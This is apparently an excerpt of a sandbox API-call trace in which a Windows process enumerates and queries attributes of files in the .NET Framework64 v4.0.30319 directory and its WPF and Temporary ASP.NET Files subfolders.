	[0088.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Workflow.ComponentModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.workflow.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e69b8 | out: lpFileInformation=0x126e69b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x645c1760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x177cf8)) returned 1
	[0088.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Workflow.Runtime.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.workflow.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6a08 | out: lpFileInformation=0x126e6a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65b53ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x784e0)) returned 1
	[0088.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.WorkflowServices.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.workflowservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6a58 | out: lpFileInformation=0x126e6a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65c849c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6ded8)) returned 1
	[0088.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.XML.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6aa8 | out: lpFileInformation=0x126e6aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b340b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x284698)) returned 1
	[0088.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xaml.Hosting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xaml.hosting.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6af8 | out: lpFileInformation=0x126e6af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65d1cf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0)) returned 1
	[0088.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xaml.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xaml.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6b48 | out: lpFileInformation=0x126e6b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b282480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9a6a0)) returned 1
	[0088.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xml.Linq.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6b98 | out: lpFileInformation=0x126e6b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65d430a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x27cb8)) returned 1
	[0088.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xml.ReaderWriter.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.readerwriter.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6be8 | out: lpFileInformation=0x126e6be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65ddb620, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e8)) returned 1
	[0088.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xml.Serialization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.serialization.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6c38 | out: lpFileInformation=0x126e6c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65e99d00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb2e8)) returned 1
	[0088.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xml.XDocument.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.xdocument.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6c88 | out: lpFileInformation=0x126e6c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65f0c120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Xml.XmlSerializer.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.xml.xmlserializer.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6cd8 | out: lpFileInformation=0x126e6cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65f32280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e8)) returned 1
	[0088.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6d28 | out: lpFileInformation=0x126e6d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67510ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352280)) returned 1
	[0088.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.tlb"), fInfoLevelId=0x0, lpFileInformation=0x126e6d78 | out: lpFileInformation=0x126e6d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eab4500, ftCreationTime.dwHighDateTime=0x1d0aa7c, ftLastAccessTime.dwLowDateTime=0x68332f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x8eab4500, ftLastWriteTime.dwHighDateTime=0x1d0aa7c, nFileSizeHigh=0x0, nFileSizeLow=0x11600)) returned 1
	[0088.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\TLBREF.DLL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\tlbref.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6dc8 | out: lpFileInformation=0x126e6dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b3d90e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1fa98)) returned 1
	[0088.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Temporary ASP.NET Files" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\temporary asp.net files"), fInfoLevelId=0x0, lpFileInformation=0x126e6e18 | out: lpFileInformation=0x126e6e18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7898780, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa7898780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa7898780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.474] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Temporary ASP.NET Files" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\temporary asp.net files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.474] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Temporary ASP.NET Files\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7898780, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa7898780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa7898780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.474] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7898780, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa7898780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa7898780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.474] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.474] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x126e6e68 | out: lpFileInformation=0x126e6e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x57233420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x4e9e)) returned 1
	[0088.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallprofile.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e6eb8 | out: lpFileInformation=0x126e6eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1298)) returned 1
	[0088.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallcommon.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e6f08 | out: lpFileInformation=0x126e6f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xf32)) returned 1
	[0088.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallmembership.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e6f58 | out: lpFileInformation=0x126e6f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1afd)) returned 1
	[0088.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersistsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e6fa8 | out: lpFileInformation=0x126e6fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27d3)) returned 1
	[0088.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersonalization.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e6ff8 | out: lpFileInformation=0x126e6ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1d41)) returned 1
	[0088.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallroles.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e7048 | out: lpFileInformation=0x126e7048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x16ed)) returned 1
	[0088.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e7098 | out: lpFileInformation=0x126e7098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x25db)) returned 1
	[0088.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstatetemplate.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e70e8 | out: lpFileInformation=0x126e70e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2e15)) returned 1
	[0088.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), fInfoLevelId=0x0, lpFileInformation=0x126e7138 | out: lpFileInformation=0x126e7138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xbbe)) returned 1
	[0088.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e7188 | out: lpFileInformation=0x126e7188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b8298c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xb8b0)) returned 1
	[0088.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf"), fInfoLevelId=0x0, lpFileInformation=0x126e71d8 | out: lpFileInformation=0x126e71d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b8e7fa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b8e7fa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.478] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.478] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b8e7fa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b8e7fa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.479] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b8e7fa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b8e7fa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f355da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f355da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f355da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d4b0260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NaturalLanguage6.dll", cAlternateFileName="NATURA~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d7a9de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NlsData0009.dll", cAlternateFileName="NLSDAT~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d7f60a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NlsLexicons0009.dll", cAlternateFileName="NLSLEX~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5daefc20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x16498, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenIMC.dll", cAlternateFileName="")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dc20720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="PRC6D0~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5df8c6c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x34d4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
